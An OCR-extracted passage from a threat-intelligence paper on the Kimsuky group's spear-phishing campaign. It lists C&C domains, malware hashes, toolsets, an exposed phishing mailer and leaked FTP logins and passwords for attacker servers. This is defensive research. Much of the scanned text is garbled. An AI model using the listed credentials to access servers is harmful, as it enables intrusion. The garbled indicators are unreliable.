200 Type set to I 200 Type set to I
PASV PASV
227 Entering Passive Mode (153,92,6,159,140,4). 227 Entering Passive Mode (153,92,6,159,138,203).
SIZE ChromInst STOR retry
550 ChromInst: No such file or directory 150 Opening BINARY mode data connection for retry
RETR ChromInst 226 Transfer complete
550 ChromInst: No such file or directory

MD?5: f38a8ba888¢5732236a5e0653826a267 MD5: 0b65e3f7a40261232dd93f472933fb72

Figure 23: The same or similar FTP account information was used.

15
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C&C Date Login ID Password Details

user-daum- @2019/04/03 | u859027282 victory 123! @# Same password (1)

center[.]pe.hu

user-protect- @2019/04/09 | u428325809 victory 123! @# Same password (1)

center[.]pe.hu

nid-protect-team[.] | @2019/04/17 | u621356999 victory 123! @# Same password (1)

pe.hu

0eks39402[.1890m. | @2019/05/15 | u487458083 rhdwnl11 Same password (2)

com same UID

nid-management- | @2019/05/16 | ul42759695 victory 123! @# Same password (1)

team[.]890m.com

naiei- @2019/05/27 | u487458083 Victorious! @# Similar password (1)

aldiel[.]16mb.com same UID

vkexvkweo[.]96.1t | @2019/06/07 | u487458083 rhdwnll11 Same password (2)
same UID

Table 8: Leaked FTP authentication information.

The FTP account information used in the malware can expose the C&C server to attacks. The string
‘victory’ used in the password has also been found in the b374k webshell used by the Kimsuky
group [18].

¥ b374k

Figure 24: The b374k webshell.

OpSec failure case 3: File download vulnerability

Name No. | Type Details
Mailer (shape) 1 Mailer Mailer (just shape)
Mailer (core) 2 Mailer Mailer (actual function)

1) Attachment of malware
2) Link to phishing page for account hijack

Malicious HWP | 6 Dropper, spear phishing | Malicious HWP documents

Script 8 Downloader, logging Downloads additional malware and logs (e.g.
*.vbs, *.wsf, *.jse, *.psl)

Infostealer 9 C&C, DLL, FTP Steals information from infected target and
downloads additional malware (in some cases
using FTP)

Table 9: Related toolsets.

16
https://t.me/learningnets



2019

LONDONZEE

2 - 4 October 2019

We captured the situation where the mailer and attachments used the same C&C server (member-
authorize[.]com) when the Kimsuky group also sent attachments with spear-phishing emails [19].

=)
ox
-

©
El
I

Yyysg [Ministry of Foreign Affairs]
Japan-related daily trends

IE

mn

o rr
=
rr o

Ak HEnk 17l (15KB)
v [ 20190312 2 2 YAFEHRH) hwplI5KB)

http://member-authorize.com/security/
downloads/download.php?
fileName=20190312%20%EC%9D%BC%EB%B3
S=0H11t0|F ALt %B8%20%EA%BA%80%EB%A0%A8%20%EC%9
X2 289 Cg|L| 98 & pH[R|Cpr D%BC%EC%9D%BC%EB%8F%99%ED%96%A5 (
I2 22| F FHaodpEh|ct XECH0B%A]

Figure 25: The mailer and attachments used the same C&C server (member-authorize[. Jcom).

The C&C server had directory listings enabled, and there was a file download vulnerability in
download.php, the file used to downloaded the .hwp attachment.

& S5 C O =9 2% | member-authorize.com/security/downloads/

Index of /security/downloads

* Parent Directory
e 20190312 Y= 73 YA S SH) hwp
* download.php  208198312_Japan-related daily trends(FN).hwp

Figure 26: Index of the /security/downloads directory on the C&C server.

Name No. | Type MD5 Details

1234.eml 0 EML b90ed8fe3160ce49d69d000b1005¢c0c5 | Spear-phishing email

20190312_ 1 HWP abafaOcbfbe18afe6dd635d14e7d03d3 | Malicious Hangul

Japanrelated daily documents (malicious

trends(FN).hwp postscript)

Powershell 2 Script 6d73e394762022f3cc426b0a37c4e694 | GET ddlove[.]kr/bbs/
data/1

Table 10: Malware.

17
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Name

No.

Type

MD5

Details

1.wsf

Script

e3dcfd19a6054f7b436b09e8ead9f37a5

(a) Set var (b) Check
Extract Util - WinRAR
/ ALZip (c) Check
response (d) Save file &
extract (e) or Save file &
decode (f) Execute file

Romanic.fm

Encoded
PE

9d453684e78ae95b0833c16ef8df6c4f

Base64 encoding

Romanic.ft

RAR

da2eefeb7ff5al3c0d890d4cccOe35¢el

Extract P/W: 201811

Freedom.dll

PE

05075¢b9a05d0cce7263842c43f5¢f8b

Export name:
GrapHouse Check Env
(32/64) 64bit : /bbs/data/
font/exts.fmt Process
Hollowing (explorer.
exe) - [SNDJ: /register.
php? WORD=com_
XXXXXXXX&NOTE=-
[GET]: /bbs/data/
ariaK[T_XXXXXXXX
- [DEL]: /join.php?file=

ariaK_
XXXXXXXX

Encoded
PE

€8d9d604615bd85862dce00bd8121b92

XOR TABLE encoding

OnlyFileList.dll

PE

cdSbee99bcael2dald92c¢d252f30bd86

Export name:
GrapHouse
FileUpload(211List
[MAC Address]_
YYMMDD_HHMMSS)
to C&C server

The attacker has built a mailer in the path of the name of each phishing target.

Table 10 (contd.): Malware.

& 5 C (@ x°o 28 | member-authorize.com/security/mailer/

« daum/
o kinu/
= naverf
. org/

Index of /security/mailer

« Parent Directory

DAUM: Major portal website in korea

KINU: Korea Institue for National Unification
NAVER: Major portal website in korea

Figure 27: Phishing targets include Daum, KINU and Naver.
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The mailer was found on the C&C server just as in the first OpSec failure case.

& 5 C ® F°o 28 | member-authorize.com/security/mailer/kinu/account_authentication/

Index of /security/mailer/kinu/account_authentication

« Parent Directory
« mail.php
mail_ok.php

C @ =9 2 | member-suthorize.com/security/mailer/kinu/account_authentication/mail php ® ohgse. STl MY MEfRILICH

«
FUAE [sumos

© MEjolME FRIAE I AXIE AEEE F2I517| sl Fo1HAR AR UsL

sUxo|qY oo &
FAUX0IE
PP I 0| FUAFOILH AFIE 2Fo| ofL|2te! of2f AF 215517| & 0 83t0]
A= I§ DAMEIS L2ATML
A AFE|
ue §
£ ole Suei7el Yol MejolM Walsiigu ch

028 WE 2 WE 202 el PIBE X o SiRito] HBE RENHOIL AR AL
2 Af2/5/A BLict.
3rne  [mepsmewzmegs

| comm™ A olE eitsl 338 FWo| loAle Yo HE(Z 2ols FAL.

78) MEEEIA| AL 12 217 BIOI8I TEL :0212023-8000 Emal webrmaster@hfiiork

Copyright(c) 2018 KINU. All rights Reserved.

Figure 28: Mailer found on the C&C server.

RELATIONSHIPS ANALYSIS

In the process of tracking the Kimsuky group attack, we analysed the relationships of a large quantity
of data, and investigated C&C servers located in South Korea through an investigation agency.
Figure 29 show the associations that were found between the toolsets and C&C servers classified in
our research.

Some of the results of analysing the relationships between toolsets and C&C servers used by the
Kimsuky group in spear-phishing attacks are as follows.

¢ gyjmc[.]Jcom (KR) — member-authorize[.]Jcom (HOSTINGER) —
¢ ddlovke[.]kr (KR) — military[.]co.kr (KR) <« suppcrt-seourity[.]Jesy.es(HOSTINGER)
Figure 30 shows a graphical representation of the relationships.

Through its reuse of resources, we were able to track the attack performed by the Kimsuky group.

CONCLUSION

Due to the particular circumstances of South Korea, the Kimsuky group continuously conducts
malicious acts by abusing (or camouflaging) documents created in Hangul and phishing for email
account credentials in order to hijack accounts. Similar attacks have continued.
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Domain

gyjme[Jcom

member-
authorize[.Jcom

ddlovelJkr

military[Jco.kr

suppert-
seourity[Jesy.es

prima:

nid-maillJee.hu

user-protect-
center[Jpe.hu

nid- protect-
team[Jpehu

nig-management-

team[]890m.com

aldiel[]16mb.com

vkorkweo[ 196t

user-daum-
centerl.Jpe.hu

sariwon[ Jeo.kr

©0eks39402[1890m.com

Mailer

O/ OOB8 @&

[m]

Beaconer

Pisher

<]

[ O A < |

[m]

Logger

<]

0o o| o)A

O

Malicious
HWP

O

<]

OO 8 OA

[m]

Camouflaged
HWP

O

o|ao O

08

O

Script

O B 88 @&

Info
Stealer

Bl B @@ @

<]

Related C&C

daum-setting[Jhol.es
member-authorizel.Jcom
snu-mail-ac-kr[Jesy.es

uefa2018[J000webhostapp.com

ddlovelJkr  gyjme[Jcom

mail-kinuwhel[Jes  webmnail-kinu[Jhol.es

member-authorize[Jcom  military[Jcokr

ddiove[Jkr  suppert-seourityl]esy.es

militarylJco.kr

nid-mail[Jpe hu
primary-help[]esy.es
nid-management-team[]890m.com
nid-protect-team[Jpe.hu
user-daum-center[]pe hu
nid-management-team[]890m.com
user-daum-center{Jpe.hu
user-protect-center[Jpe.hu

naiei-aldiel[]16mb.com  vkoxkweo[]96.1t

nid-protect-tzam| Jpe.hu
user-daum-center[]Jpe.hu
user-protect-centerl.Jpe.hu

daum-account-login[.Jesy.es

18%0m.com 196.1t

naiei-aldiel[]16mb.com

0eks39402(.]890m.com

member-daum-regist{Jhol.es
member-view-center| Jesy.es
nid-management-team[J390m.com
nid-protect-team[Jpehu  sariwon[Jcokr
user-manage-center[Jhol.es
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Figure 29: Relationships between C&C servers and toolsets.
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Figure 30: Graphical representation of the Kimsuky relationships.

However, in the process of tracking the Kimsuky group, we have obtained various pieces of
important information through cases of OpSec failure on the part of the attackers.

The information obtained in this way can be used to infer to what extent the next attack will proceed,
and, if such a new spear-phishing attack occurs, the appropriate proactive response can be taken by
analysing correlations with various indicators found in previous attacks.

We will continue to strive to prevent the future spread of spear-phishing attacks by the Kimsuky
group, and we hope that this paper will help in responding to threats in many areas including
domestic.
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